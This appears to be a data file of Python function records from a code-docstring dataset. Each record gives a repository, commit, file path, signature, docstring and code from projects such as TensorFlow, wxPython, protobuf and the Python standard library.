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catboost/catboost | 167f64f237114a4d10b2b4ee42adb4569137debe | contrib/tools/python3/src/Lib/bisect.py | python | bisect_right | (a, x, lo=0, hi=None) | return lo | Return the index where to insert item x in list a, assuming a is sorted.
The return value i is such that all e in a[:i] have e <= x, and all e in
a[i:] have e > x. So if x already appears in the list, a.insert(x) will
insert just after the rightmost x already there.
Optional args lo (default 0) and hi (default len(a)) bound the
slice of a to be searched. | Return the index where to insert item x in list a, assuming a is sorted. | [
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"""Return the index where to insert item x in list a, assuming a is sorted.
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wxWidgets/wxPython-Classic | 19571e1ae65f1ac445f5491474121998c97a1bf0 | src/msw/xrc.py | python | XmlNode.GetParent | (*args, **kwargs) | return _xrc.XmlNode_GetParent(*args, **kwargs) | GetParent(self) -> XmlNode | GetParent(self) -> XmlNode | [
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wxWidgets/wxPython-Classic | 19571e1ae65f1ac445f5491474121998c97a1bf0 | src/osx_cocoa/richtext.py | python | RichTextRange.__init__ | (self, *args, **kwargs) | __init__(self, long start=0, long end=0) -> RichTextRange
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benoitsteiner/tensorflow-opencl | cb7cb40a57fde5cfd4731bc551e82a1e2fef43a5 | tensorflow/contrib/layers/python/layers/utils.py | python | n_positive_integers | (n, value) | return (value,) * n | Converts `value` to a sequence of `n` positive integers.
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"""Converts `value` to a sequence of `n` positive integers.
`value` may be either be a sequence of values convertible to `int`, or a
single value convertible to `int`, in which case the resulting integer is
duplicated `n` times. It may also be a TensorShape of rank `n`.
Args:
n: Length of sequence to return.
value: Either a single value convertible to a positive `int` or an
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Returns:
A tuple of `n` positive integers.
Raises:
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ValueError: If `n` or `value` are invalid.
"""
n_orig = n
n = int(n)
if n < 1 or n != n_orig:
raise ValueError('n must be a positive integer')
try:
value = int(value)
except (TypeError, ValueError):
sequence_len = len(value)
if sequence_len != n:
raise ValueError(
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(n, value))
try:
values = tuple(int(x) for x in value)
except:
raise ValueError(
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for x in values:
if x < 1:
raise ValueError('expected positive integer, but received %d' % x)
return values
if value < 1:
raise ValueError('expected positive integer, but received %d' % value)
return (value,) * n | [
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aws/lumberyard | f85344403c1c2e77ec8c75deb2c116e97b713217 | dev/Tools/Python/3.7.10/linux_x64/lib/python3.7/tkinter/tix.py | python | TixWidget.subwidgets_all | (self) | return retlist | Return all subwidgets. | Return all subwidgets. | [
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"""Return all subwidgets."""
names = self._subwidget_names()
if not names:
return []
retlist = []
for name in names:
name = name[len(self._w)+1:]
try:
retlist.append(self._nametowidget(name))
except:
# some of the widgets are unknown e.g. border in LabelFrame
pass
return retlist | [
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catboost/catboost | 167f64f237114a4d10b2b4ee42adb4569137debe | contrib/tools/python3/src/Lib/distutils/sysconfig.py | python | get_config_var | (name) | return get_config_vars().get(name) | Return the value of a single variable using the dictionary
returned by 'get_config_vars()'. Equivalent to
get_config_vars().get(name) | Return the value of a single variable using the dictionary
returned by 'get_config_vars()'. Equivalent to
get_config_vars().get(name) | [
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"""
if name == 'SO':
import warnings
warnings.warn('SO is deprecated, use EXT_SUFFIX', DeprecationWarning, 2)
return get_config_vars().get(name) | [
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mantidproject/mantid | 03deeb89254ec4289edb8771e0188c2090a02f32 | qt/python/mantidqtinterfaces/mantidqtinterfaces/Muon/GUI/Common/fitting_widgets/tf_asymmetry_fitting/tf_asymmetry_fitting_model.py | python | TFAsymmetryFittingModel._get_normalisation_from_tf_asymmetry_simultaneous_function | (self, tf_simultaneous_function: IFunction,
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Xilinx/Vitis-AI | fc74d404563d9951b57245443c73bef389f3657f | tools/Vitis-AI-Quantizer/vai_q_tensorflow1.x/tensorflow/python/debug/cli/analyzer_cli.py | python | DebugAnalyzer.list_inputs | (self, args, screen_info=None) | return output | Command handler for inputs.
Show inputs to a given node.
Args:
args: Command-line arguments, excluding the command prefix, as a list of
str.
screen_info: Optional dict input containing screen information such as
cols.
Returns:
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"""Command handler for inputs.
Show inputs to a given node.
Args:
args: Command-line arguments, excluding the command prefix, as a list of
str.
screen_info: Optional dict input containing screen information such as
cols.
Returns:
Output text lines as a RichTextLines object.
"""
# Screen info not currently used by this handler. Include this line to
# mute pylint.
_ = screen_info
# TODO(cais): Use screen info to format the output lines more prettily,
# e.g., hanging indent of long node names.
parsed = self._arg_parsers["list_inputs"].parse_args(args)
output = self._list_inputs_or_outputs(
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parsed.control,
parsed.op_type,
do_outputs=False)
node_name = debug_graphs.get_node_name(parsed.node_name)
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wlanjie/AndroidFFmpeg | 7baf9122f4b8e1c74e7baf4be5c422c7a5ba5aaf | tools/fdk-aac-build/armeabi/toolchain/lib/python2.7/ctypes/macholib/dyld.py | python | ensure_utf8 | (s) | return s | Not all of PyObjC and Python understand unicode paths very well yet | Not all of PyObjC and Python understand unicode paths very well yet | [
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wxWidgets/wxPython-Classic | 19571e1ae65f1ac445f5491474121998c97a1bf0 | src/gtk/_misc.py | python | DateTime.__add__ | (*args) | return _misc_.DateTime___add__(*args) | __add__(self, TimeSpan other) -> DateTime
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wxWidgets/wxPython-Classic | 19571e1ae65f1ac445f5491474121998c97a1bf0 | demo/Validator.py | python | TextObjectValidator.Validate | (self, win) | Validate the contents of the given text control. | Validate the contents of the given text control. | [
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""" Validate the contents of the given text control.
"""
textCtrl = self.GetWindow()
text = textCtrl.GetValue()
if len(text) == 0:
wx.MessageBox("A text object must contain some text!", "Error")
textCtrl.SetBackgroundColour("pink")
textCtrl.SetFocus()
textCtrl.Refresh()
return False
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textCtrl.SetBackgroundColour(
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OSGeo/gdal | 3748fc4ba4fba727492774b2b908a2130c864a83 | swig/python/osgeo/gdal.py | python | DirEntry.IsDirectory | (self, *args) | return _gdal.DirEntry_IsDirectory(self, *args) | r"""IsDirectory(DirEntry self) -> bool | r"""IsDirectory(DirEntry self) -> bool | [
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r"""IsDirectory(DirEntry self) -> bool"""
return _gdal.DirEntry_IsDirectory(self, *args) | [
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hughperkins/tf-coriander | 970d3df6c11400ad68405f22b0c42a52374e94ca | tensorflow/contrib/distributions/python/ops/uniform.py | python | Uniform.__init__ | (self,
a=0.,
b=1.,
validate_args=False,
allow_nan_stats=True,
name="Uniform") | Construct Uniform distributions with `a` and `b`.
The parameters `a` and `b` must be shaped in a way that supports
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Here are examples without broadcasting:
```python
# Without broadcasting
u1 = Uniform(3.0, 4.0) # a single uniform distribution [3, 4]
u2 = Uniform([1.0, 2.0], [3.0, 4.0]) # 2 distributions [1, 3], [2, 4]
u3 = Uniform([[1.0, 2.0],
[3.0, 4.0]],
[[1.5, 2.5],
[3.5, 4.5]]) # 4 distributions
```
And with broadcasting:
```python
u1 = Uniform(3.0, [5.0, 6.0, 7.0]) # 3 distributions
```
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a: Floating point tensor, the minimum endpoint.
b: Floating point tensor, the maximum endpoint. Must be > `a`.
validate_args: `Boolean`, default `False`. Whether to validate input with
asserts. If `validate_args` is `False`, and the inputs are invalid,
correct behavior is not guaranteed.
allow_nan_stats: `Boolean`, default `True`. If `False`, raise an
exception if a statistic (e.g. mean/mode/etc...) is undefined for any
batch member. If `True`, batch members with valid parameters leading to
undefined statistics will return NaN for this statistic.
name: The name to prefix Ops created by this distribution class.
Raises:
InvalidArgumentError: if `a >= b` and `validate_args=False`. | Construct Uniform distributions with `a` and `b`. | [
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a=0.,
b=1.,
validate_args=False,
allow_nan_stats=True,
name="Uniform"):
"""Construct Uniform distributions with `a` and `b`.
The parameters `a` and `b` must be shaped in a way that supports
broadcasting (e.g. `b - a` is a valid operation).
Here are examples without broadcasting:
```python
# Without broadcasting
u1 = Uniform(3.0, 4.0) # a single uniform distribution [3, 4]
u2 = Uniform([1.0, 2.0], [3.0, 4.0]) # 2 distributions [1, 3], [2, 4]
u3 = Uniform([[1.0, 2.0],
[3.0, 4.0]],
[[1.5, 2.5],
[3.5, 4.5]]) # 4 distributions
```
And with broadcasting:
```python
u1 = Uniform(3.0, [5.0, 6.0, 7.0]) # 3 distributions
```
Args:
a: Floating point tensor, the minimum endpoint.
b: Floating point tensor, the maximum endpoint. Must be > `a`.
validate_args: `Boolean`, default `False`. Whether to validate input with
asserts. If `validate_args` is `False`, and the inputs are invalid,
correct behavior is not guaranteed.
allow_nan_stats: `Boolean`, default `True`. If `False`, raise an
exception if a statistic (e.g. mean/mode/etc...) is undefined for any
batch member. If `True`, batch members with valid parameters leading to
undefined statistics will return NaN for this statistic.
name: The name to prefix Ops created by this distribution class.
Raises:
InvalidArgumentError: if `a >= b` and `validate_args=False`.
"""
with ops.name_scope(name, values=[a, b]) as ns:
with ops.control_dependencies([
check_ops.assert_less(
a, b, message="uniform not defined when a > b.")
] if validate_args else []):
self._a = array_ops.identity(a, name="a")
self._b = array_ops.identity(b, name="b")
contrib_tensor_util.assert_same_float_dtype((self._a, self._b))
super(Uniform, self).__init__(
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is_continuous=True,
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allow_nan_stats=allow_nan_stats,
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microsoft/LightGBM | 904b2d5158703c4900b68008617951dd2f9ff21b | .ci/get_workflow_status.py | python | get_status | (runs) | return status | Get the most recent status of workflow for the current PR.
Parameters
----------
runs : list
List of comment objects sorted by the time of creation in decreasing order.
Returns
-------
status : str
The most recent status of workflow.
Can be 'success', 'failure' or 'in-progress'. | Get the most recent status of workflow for the current PR. | [
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] | def get_status(runs):
"""Get the most recent status of workflow for the current PR.
Parameters
----------
runs : list
List of comment objects sorted by the time of creation in decreasing order.
Returns
-------
status : str
The most recent status of workflow.
Can be 'success', 'failure' or 'in-progress'.
"""
status = 'success'
for run in runs:
body = run['body']
if "Status: " in body:
if "Status: skipped" in body:
continue
if "Status: failure" in body:
status = 'failure'
break
if "Status: success" in body:
status = 'success'
break
else:
status = 'in-progress'
break
return status | [
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ChromiumWebApps/chromium | c7361d39be8abd1574e6ce8957c8dbddd4c6ccf7 | tools/symsrc/pefile.py | python | Structure.all_zeroes | (self) | return self._all_zeroes | Returns true is the unpacked data is all zeroes. | Returns true is the unpacked data is all zeroes. | [
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pirobot/rbx2 | 2a6544799fcf062e7b6bd5cf2981b2a84c0c7d2a | rbx2_utils/src/rbx2_utils/srv/_LaunchProcess.py | python | LaunchProcessResponse.deserialize_numpy | (self, str, numpy) | unpack serialized message in str into this message instance using numpy for array types
:param str: byte array of serialized message, ``str``
:param numpy: numpy python module | unpack serialized message in str into this message instance using numpy for array types
:param str: byte array of serialized message, ``str``
:param numpy: numpy python module | [
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:param str: byte array of serialized message, ``str``
:param numpy: numpy python module
"""
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BSVino/DoubleAction | c550b168a3e919926c198c30240f506538b92e75 | mp/src/thirdparty/protobuf-2.3.0/python/google/protobuf/internal/containers.py | python | BaseContainer.__len__ | (self) | return len(self._values) | Returns the number of elements in the container. | Returns the number of elements in the container. | [
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bigtreetech/BIGTREETECH-SKR-V1.3 | b238aa402753e81d551b7d34a181a262a138ae9e | BTT SKR V1.3/firmware/Marlin-2.0.x/buildroot/share/scripts/createTemperatureLookupMarlin.py | python | Thermistor.voltage | (self, adc) | return adc * VSTEP | Convert ADC reading into a Voltage | Convert ADC reading into a Voltage | [
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"Convert ADC reading into a Voltage"
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PX4/PX4-Autopilot | 0b9f60a0370be53d683352c63fd92db3d6586e18 | Tools/px4moduledoc/srcparser.py | python | ModuleDocumentation.__init__ | (self, function_calls, scope) | :param function_calls: list of tuples (function_name, [str(arg)]) | :param function_calls: list of tuples (function_name, [str(arg)]) | [
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:param function_calls: list of tuples (function_name, [str(arg)])
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self._category = ''
self._subcategory = ''
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SpenceKonde/megaTinyCore | 1c4a70b18a149fe6bcb551dfa6db11ca50b8997b | megaavr/tools/libs/serial/urlhandler/protocol_socket.py | python | Serial.send_break | (self, duration=0.25) | \
Send break condition. Timed, returns to idle state after given
duration. | \
Send break condition. Timed, returns to idle state after given
duration. | [
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"""\
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"""
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raise portNotOpenError
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aws/lumberyard | f85344403c1c2e77ec8c75deb2c116e97b713217 | dev/Tools/Python/3.7.10/mac/Python.framework/Versions/3.7/lib/python3.7/site-packages/pip/_vendor/requests/cookies.py | python | RequestsCookieJar._find | (self, name, domain=None, path=None) | Requests uses this method internally to get cookie values.
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See _find_no_duplicates if you want an exception thrown if there are
conflicting cookies.
:param name: a string containing name of cookie
:param domain: (optional) string containing domain of cookie
:param path: (optional) string containing path of cookie
:return: cookie.value | Requests uses this method internally to get cookie values. | [
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"""Requests uses this method internally to get cookie values.
If there are conflicting cookies, _find arbitrarily chooses one.
See _find_no_duplicates if you want an exception thrown if there are
conflicting cookies.
:param name: a string containing name of cookie
:param domain: (optional) string containing domain of cookie
:param path: (optional) string containing path of cookie
:return: cookie.value
"""
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aws/lumberyard | f85344403c1c2e77ec8c75deb2c116e97b713217 | dev/Tools/Python/3.7.10/mac/Python.framework/Versions/3.7/share/doc/python3.7/examples/Tools/gdb/libpython.py | python | PyObjectPtr.field | (self, name) | return self._gdbval.dereference()[name] | Get the gdb.Value for the given field within the PyObject, coping with
some python 2 versus python 3 differences.
Various libpython types are defined using the "PyObject_HEAD" and
"PyObject_VAR_HEAD" macros.
In Python 2, this these are defined so that "ob_type" and (for a var
object) "ob_size" are fields of the type in question.
In Python 3, this is defined as an embedded PyVarObject type thus:
PyVarObject ob_base;
so that the "ob_size" field is located insize the "ob_base" field, and
the "ob_type" is most easily accessed by casting back to a (PyObject*). | Get the gdb.Value for the given field within the PyObject, coping with
some python 2 versus python 3 differences. | [
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return pyo_ptr.dereference()[name]
# General case: look it up inside the object:
return self._gdbval.dereference()[name] | [
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wxWidgets/wxPython-Classic | 19571e1ae65f1ac445f5491474121998c97a1bf0 | src/msw/propgrid.py | python | PropertyGridInterface.SortChildren | (*args, **kwargs) | return _propgrid.PropertyGridInterface_SortChildren(*args, **kwargs) | SortChildren(self, PGPropArg id, int flags=0) | SortChildren(self, PGPropArg id, int flags=0) | [
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"""SortChildren(self, PGPropArg id, int flags=0)"""
return _propgrid.PropertyGridInterface_SortChildren(*args, **kwargs) | [
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catboost/catboost | 167f64f237114a4d10b2b4ee42adb4569137debe | contrib/python/ipython/py2/IPython/core/extensions.py | python | ExtensionManager.unload_extension | (self, module_str) | Unload an IPython extension by its module name.
This function looks up the extension's name in ``sys.modules`` and
simply calls ``mod.unload_ipython_extension(self)``.
Returns the string "no unload function" if the extension doesn't define
a function to unload itself, "not loaded" if the extension isn't loaded,
otherwise None. | Unload an IPython extension by its module name. | [
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] | def unload_extension(self, module_str):
"""Unload an IPython extension by its module name.
This function looks up the extension's name in ``sys.modules`` and
simply calls ``mod.unload_ipython_extension(self)``.
Returns the string "no unload function" if the extension doesn't define
a function to unload itself, "not loaded" if the extension isn't loaded,
otherwise None.
"""
if module_str not in self.loaded:
return "not loaded"
if module_str in sys.modules:
mod = sys.modules[module_str]
if self._call_unload_ipython_extension(mod):
self.loaded.discard(module_str)
else:
return "no unload function" | [
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aws/lumberyard | f85344403c1c2e77ec8c75deb2c116e97b713217 | dev/Tools/Python/3.7.10/linux_x64/lib/python3.7/site-packages/boto3/docs/service.py | python | ServiceDocumenter.document_service | (self) | return doc_structure.flush_structure() | Documents an entire service.
:returns: The reStructured text of the documented service. | Documents an entire service. | [
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"""Documents an entire service.
:returns: The reStructured text of the documented service.
"""
doc_structure = DocumentStructure(
self._service_name, section_names=self.sections,
target='html')
self.title(doc_structure.get_section('title'))
self.table_of_contents(doc_structure.get_section('table-of-contents'))
self.client_api(doc_structure.get_section('client'))
self.paginator_api(doc_structure.get_section('paginators'))
self.waiter_api(doc_structure.get_section('waiters'))
if self._service_resource:
self._document_service_resource(
doc_structure.get_section('service-resource'))
self._document_resources(doc_structure.get_section('resources'))
self._document_examples(doc_structure.get_section('examples'))
return doc_structure.flush_structure() | [
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catboost/catboost | 167f64f237114a4d10b2b4ee42adb4569137debe | contrib/python/numpy/py2/numpy/distutils/fcompiler/__init__.py | python | get_f77flags | (src) | return flags | Search the first 20 lines of fortran 77 code for line pattern
`CF77FLAGS(<fcompiler type>)=<f77 flags>`
Return a dictionary {<fcompiler type>:<f77 flags>}. | Search the first 20 lines of fortran 77 code for line pattern
`CF77FLAGS(<fcompiler type>)=<f77 flags>`
Return a dictionary {<fcompiler type>:<f77 flags>}. | [
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] | def get_f77flags(src):
"""
Search the first 20 lines of fortran 77 code for line pattern
`CF77FLAGS(<fcompiler type>)=<f77 flags>`
Return a dictionary {<fcompiler type>:<f77 flags>}.
"""
flags = {}
f = open_latin1(src, 'r')
i = 0
for line in f:
i += 1
if i>20: break
m = _f77flags_re.match(line)
if not m: continue
fcname = m.group('fcname').strip()
fflags = m.group('fflags').strip()
flags[fcname] = split_quoted(fflags)
f.close()
return flags | [
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BlzFans/wke | b0fa21158312e40c5fbd84682d643022b6c34a93 | cygwin/lib/python2.6/linecache.py | python | clearcache | () | Clear the cache entirely. | Clear the cache entirely. | [
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"""Clear the cache entirely."""
global cache
cache = {} | [
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Xilinx/Vitis-AI | fc74d404563d9951b57245443c73bef389f3657f | tools/Vitis-AI-Quantizer/vai_q_tensorflow1.x/tensorflow/contrib/timeseries/python/timeseries/input_pipeline.py | python | CSVReader._process_records | (self, lines) | return features | Parse `lines` as CSV records. | Parse `lines` as CSV records. | [
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] | def _process_records(self, lines):
"""Parse `lines` as CSV records."""
if self._column_dtypes is None:
default_values = [(array_ops.zeros([], dtypes.int64),) if
column_name == feature_keys.TrainEvalFeatures.TIMES else
() for column_name in self._column_names]
else:
default_values = [
(array_ops.zeros([], dtype),) for dtype in self._column_dtypes
]
columns = parsing_ops.decode_csv(lines, default_values)
features_lists = {}
for column_name, value in zip(self._column_names, columns):
features_lists.setdefault(column_name, []).append(value)
features = {}
for column_name, values in features_lists.items():
if column_name == feature_keys.TrainEvalFeatures.TIMES:
features[column_name] = values[0]
else:
features[column_name] = array_ops.stack(values, axis=1)
return features | [
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google/clif | cab24d6a105609a65c95a36a1712ae3c20c7b5df | clif/python/slots.py | python | GenRichCompare | (rcslots) | Generate tp_richcmp slot implementation.
Args:
rcslots: {'Py_LT': '__lt__ wrap function name'}
Yields:
C++ source | Generate tp_richcmp slot implementation. | [
"Generate",
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"slot",
"implementation",
"."
] | def GenRichCompare(rcslots):
"""Generate tp_richcmp slot implementation.
Args:
rcslots: {'Py_LT': '__lt__ wrap function name'}
Yields:
C++ source
"""
yield ''
yield 'PyObject* slot_richcmp(PyObject* self, PyObject* other, int op) {'
yield I+'switch (op) {'
for op_func in sorted(rcslots.items()):
yield I+I+'case %s: return slot::adapter<%s>(self, other);' % op_func
yield I+I+'default: Py_RETURN_NOTIMPLEMENTED;'
yield I+'}'
yield '}' | [
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mingchen/protobuf-ios | 0958df34558cd54cb7b6e6ca5c8855bf3d475046 | compiler/python/google/protobuf/reflection.py | python | _AddPropertiesForFields | (descriptor, cls) | Adds properties for all fields in this protocol message type. | Adds properties for all fields in this protocol message type. | [
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] | def _AddPropertiesForFields(descriptor, cls):
"""Adds properties for all fields in this protocol message type."""
for field in descriptor.fields:
_AddPropertiesForField(field, cls) | [
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microsoft/TSS.MSR | 0f2516fca2cd9929c31d5450e39301c9bde43688 | TSS.Py/src/TpmTypes.py | python | TPM2B_PRIVATE.fromBytes | (buffer) | return TpmBuffer(buffer).createObj(TPM2B_PRIVATE) | Returns new TPM2B_PRIVATE object constructed from its marshaled
representation in the given byte buffer | Returns new TPM2B_PRIVATE object constructed from its marshaled
representation in the given byte buffer | [
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""" Returns new TPM2B_PRIVATE object constructed from its marshaled
representation in the given byte buffer
"""
return TpmBuffer(buffer).createObj(TPM2B_PRIVATE) | [
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macchina-io/macchina.io | ef24ba0e18379c3dd48fb84e6dbf991101cb8db0 | platform/JS/V8/tools/gyp/tools/pretty_gyp.py | python | split_double_braces | (input) | return output | Masks out the quotes and comments, and then splits appropriate
lines (lines that matche the double_*_brace re's above) before
indenting them below.
These are used to split lines which have multiple braces on them, so
that the indentation looks prettier when all laid out (e.g. closing
braces make a nice diagonal line). | Masks out the quotes and comments, and then splits appropriate
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] | def split_double_braces(input):
"""Masks out the quotes and comments, and then splits appropriate
lines (lines that matche the double_*_brace re's above) before
indenting them below.
These are used to split lines which have multiple braces on them, so
that the indentation looks prettier when all laid out (e.g. closing
braces make a nice diagonal line).
"""
double_open_brace_re = re.compile(r'(.*?[\[\{\(,])(\s*)([\[\{\(])')
double_close_brace_re = re.compile(r'(.*?[\]\}\)],?)(\s*)([\]\}\)])')
masked_input = mask_quotes(input)
masked_input = mask_comments(masked_input)
(output, mask_output) = do_split(input, masked_input, double_open_brace_re)
(output, mask_output) = do_split(output, mask_output, double_close_brace_re)
return output | [
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mantidproject/mantid | 03deeb89254ec4289edb8771e0188c2090a02f32 | qt/python/mantidqt/mantidqt/widgets/sliceviewer/peaksviewer/workspaceselection.py | python | PeaksWorkspaceSelectorModel.names_and_statuses | (self) | return name_status | :return: a list of 2-tuples where each tuple contains (workspace name:str, checked status :bool) | :return: a list of 2-tuples where each tuple contains (workspace name:str, checked status :bool) | [
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"""
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"""
ws_provider = self._workspace_provider
checked_names = self._checked_names
names = ws_provider.getObjectNames()
name_status = []
for name in names:
try:
ws = ws_provider[name]
except KeyError:
# assume it has been deleted since we asked for the name
pass
if isinstance(ws, IPeaksWorkspace):
name_status.append((name, name in checked_names))
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thalium/icebox | 99d147d5b9269222225443ce171b4fd46d8985d4 | third_party/virtualbox/src/libs/libxml2-2.9.4/python/libxml2class.py | python | xmlDoc.nodeListGetRawString | (self, list, inLine) | return ret | Builds the string equivalent to the text contained in the
Node list made of TEXTs and ENTITY_REFs, contrary to
xmlNodeListGetString() this function doesn't do any
character encoding handling. | Builds the string equivalent to the text contained in the
Node list made of TEXTs and ENTITY_REFs, contrary to
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character encoding handling. | [
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"""Builds the string equivalent to the text contained in the
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xmlNodeListGetString() this function doesn't do any
character encoding handling. """
if list is None: list__o = None
else: list__o = list._o
ret = libxml2mod.xmlNodeListGetRawString(self._o, list__o, inLine)
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cvxpy/cvxpy | 5165b4fb750dfd237de8659383ef24b4b2e33aaf | cvxpy/constraints/constraint.py | python | Constraint.dual_value | (self) | NumPy.ndarray : The value of the dual variable. | NumPy.ndarray : The value of the dual variable. | [
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"""NumPy.ndarray : The value of the dual variable.
"""
dual_vals = [dv.value for dv in self.dual_variables]
if len(dual_vals) == 1:
return dual_vals[0]
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return dual_vals | [
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aws/lumberyard | f85344403c1c2e77ec8c75deb2c116e97b713217 | dev/Tools/Python/3.7.10/mac/Python.framework/Versions/3.7/lib/python3.7/email/_header_value_parser.py | python | get_group | (value) | return group, value | group = display-name ":" [group-list] ";" [CFWS] | group = display-name ":" [group-list] ";" [CFWS] | [
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""" group = display-name ":" [group-list] ";" [CFWS]
"""
group = Group()
token, value = get_display_name(value)
if not value or value[0] != ':':
raise errors.HeaderParseError("expected ':' at end of group "
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group.append(token)
group.append(ValueTerminal(':', 'group-display-name-terminator'))
value = value[1:]
if value and value[0] == ';':
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return group, value[1:]
token, value = get_group_list(value)
group.append(token)
if not value:
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value = value[1:]
if value and value[0] in CFWS_LEADER:
token, value = get_cfws(value)
group.append(token)
return group, value | [
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BlzFans/wke | b0fa21158312e40c5fbd84682d643022b6c34a93 | cygwin/lib/python2.6/decimal.py | python | Decimal.__rsub__ | (self, other, context=None) | return other.__sub__(self, context=context) | Return other - self | Return other - self | [
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] | def __rsub__(self, other, context=None):
"""Return other - self"""
other = _convert_other(other)
if other is NotImplemented:
return other
return other.__sub__(self, context=context) | [
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ChromiumWebApps/chromium | c7361d39be8abd1574e6ce8957c8dbddd4c6ccf7 | third_party/closure_linter/closure_linter/common/tokenizer.py | python | Tokenizer.__init__ | (self, starting_mode, matchers, default_types) | Initialize the tokenizer.
Args:
starting_mode: Mode to start in.
matchers: Dictionary of modes to sequences of matchers that defines the
patterns to check at any given time.
default_types: Dictionary of modes to types, defining what type to give
non-matched text when in the given mode. Defaults to Type.NORMAL. | Initialize the tokenizer. | [
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] | def __init__(self, starting_mode, matchers, default_types):
"""Initialize the tokenizer.
Args:
starting_mode: Mode to start in.
matchers: Dictionary of modes to sequences of matchers that defines the
patterns to check at any given time.
default_types: Dictionary of modes to types, defining what type to give
non-matched text when in the given mode. Defaults to Type.NORMAL.
"""
self.__starting_mode = starting_mode
self.matchers = matchers
self.default_types = default_types | [
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hughperkins/tf-coriander | 970d3df6c11400ad68405f22b0c42a52374e94ca | tensorflow/python/framework/ops.py | python | Graph.create_op | (self, op_type, inputs, dtypes,
input_types=None, name=None, attrs=None, op_def=None,
compute_shapes=True, compute_device=True) | return ret | Creates an `Operation` in this graph.
This is a low-level interface for creating an `Operation`. Most
programs will not call this method directly, and instead use the
Python op constructors, such as `tf.constant()`, which add ops to
the default graph.
Args:
op_type: The `Operation` type to create. This corresponds to the
`OpDef.name` field for the proto that defines the operation.
inputs: A list of `Tensor` objects that will be inputs to the `Operation`.
dtypes: A list of `DType` objects that will be the types of the tensors
that the operation produces.
input_types: (Optional.) A list of `DType`s that will be the types of
the tensors that the operation consumes. By default, uses the base
`DType` of each input in `inputs`. Operations that expect
reference-typed inputs must specify `input_types` explicitly.
name: (Optional.) A string name for the operation. If not specified, a
name is generated based on `op_type`.
attrs: (Optional.) A dictionary where the key is the attribute name (a
string) and the value is the respective `attr` attribute of the
`NodeDef` proto that will represent the operation (an `AttrValue`
proto).
op_def: (Optional.) The `OpDef` proto that describes the `op_type` that
the operation will have.
compute_shapes: (Optional.) If True, shape inference will be performed
to compute the shapes of the outputs.
compute_device: (Optional.) If True, device functions will be executed
to compute the device property of the Operation.
Raises:
TypeError: if any of the inputs is not a `Tensor`.
ValueError: if colocation conflicts with existing device assignment.
Returns:
An `Operation` object. | Creates an `Operation` in this graph. | [
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] | def create_op(self, op_type, inputs, dtypes,
input_types=None, name=None, attrs=None, op_def=None,
compute_shapes=True, compute_device=True):
"""Creates an `Operation` in this graph.
This is a low-level interface for creating an `Operation`. Most
programs will not call this method directly, and instead use the
Python op constructors, such as `tf.constant()`, which add ops to
the default graph.
Args:
op_type: The `Operation` type to create. This corresponds to the
`OpDef.name` field for the proto that defines the operation.
inputs: A list of `Tensor` objects that will be inputs to the `Operation`.
dtypes: A list of `DType` objects that will be the types of the tensors
that the operation produces.
input_types: (Optional.) A list of `DType`s that will be the types of
the tensors that the operation consumes. By default, uses the base
`DType` of each input in `inputs`. Operations that expect
reference-typed inputs must specify `input_types` explicitly.
name: (Optional.) A string name for the operation. If not specified, a
name is generated based on `op_type`.
attrs: (Optional.) A dictionary where the key is the attribute name (a
string) and the value is the respective `attr` attribute of the
`NodeDef` proto that will represent the operation (an `AttrValue`
proto).
op_def: (Optional.) The `OpDef` proto that describes the `op_type` that
the operation will have.
compute_shapes: (Optional.) If True, shape inference will be performed
to compute the shapes of the outputs.
compute_device: (Optional.) If True, device functions will be executed
to compute the device property of the Operation.
Raises:
TypeError: if any of the inputs is not a `Tensor`.
ValueError: if colocation conflicts with existing device assignment.
Returns:
An `Operation` object.
"""
self._check_not_finalized()
for idx, a in enumerate(inputs):
if not isinstance(a, Tensor):
raise TypeError("Input #%d is not a tensor: %s" % (idx, a))
if name is None:
name = op_type
# If a names ends with a '/' it is a "name scope" and we use it as-is,
# after removing the trailing '/'.
if name and name[-1] == "/":
name = name[:-1]
else:
name = self.unique_name(name)
node_def = _NodeDef(op_type, name, device=None, attrs=attrs)
# Apply any additional attributes requested. Do not overwrite any existing
# attributes.
for key, value in self._attr_scope_map.items():
if key not in node_def.attr:
node_def.attr[key].CopyFrom(value)
# Apply a kernel label if one has been specified for this op_type.
try:
kernel_label = self._op_to_kernel_label_map[op_type]
node_def.attr["_kernel"].CopyFrom(
attr_value_pb2.AttrValue(s=compat.as_bytes(kernel_label)))
except KeyError:
pass
# Apply the overriding op_type for gradients if one has been
# specified for this op_type.
try:
mapped_op_type = self._gradient_override_map[op_type]
node_def.attr["_gradient_op_type"].CopyFrom(
attr_value_pb2.AttrValue(s=compat.as_bytes(mapped_op_type)))
except KeyError:
pass
control_inputs = self._control_dependencies_for_inputs(inputs)
ret = Operation(node_def, self, inputs=inputs, output_types=dtypes,
control_inputs=control_inputs, input_types=input_types,
original_op=self._default_original_op, op_def=op_def)
if compute_shapes:
set_shapes_for_outputs(ret)
self._add_op(ret)
self._record_op_seen_by_control_dependencies(ret)
if compute_device:
self._apply_device_functions(ret)
if self._colocation_stack:
all_colocation_groups = []
for colocation_op in self._colocation_stack:
all_colocation_groups.extend(colocation_op.colocation_groups())
if colocation_op.device:
# Make this device match the device of the colocated op, to
# provide consistency between the device and the colocation
# property.
if ret.device and ret.device != colocation_op.device:
logging.warning("Tried to colocate %s with an op %s that had "
"a different device: %s vs %s. "
"Ignoring colocation property.",
name, colocation_op.name,
ret.device, colocation_op.device)
else:
ret._set_device(colocation_op.device)
all_colocation_groups = sorted(set(all_colocation_groups))
ret.node_def.attr["_class"].CopyFrom(attr_value_pb2.AttrValue(
list=attr_value_pb2.AttrValue.ListValue(s=all_colocation_groups)))
# Sets "container" attribute if
# (1) self._container is not None
# (2) "is_stateful" is set in OpDef
# (3) "container" attribute is in OpDef
# (4) "container" attribute is None
if (self._container and
op_type in self._registered_ops and
self._registered_ops[op_type].is_stateful and
"container" in ret.node_def.attr and
not ret.node_def.attr["container"].s):
ret.node_def.attr["container"].CopyFrom(
attr_value_pb2.AttrValue(s=compat.as_bytes(self._container)))
return ret | [
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rsummers11/CADLab | 976ed959a0b5208bb4173127a7ef732ac73a9b6f | body_part_regressor/bodypartregressor/compare_diff_layer.py | python | CompareDiffLayer.backward | (self, top, propagate_down, bottom) | This layer does not propagate gradients. | This layer does not propagate gradients. | [
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"does",
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] | def backward(self, top, propagate_down, bottom):
"""This layer does not propagate gradients."""
top_diff = top[0].diff
out = self.Ab.dot(top_diff)
#print out
bottom[0].diff[...] = out.reshape(*bottom[0].diff.shape) | [
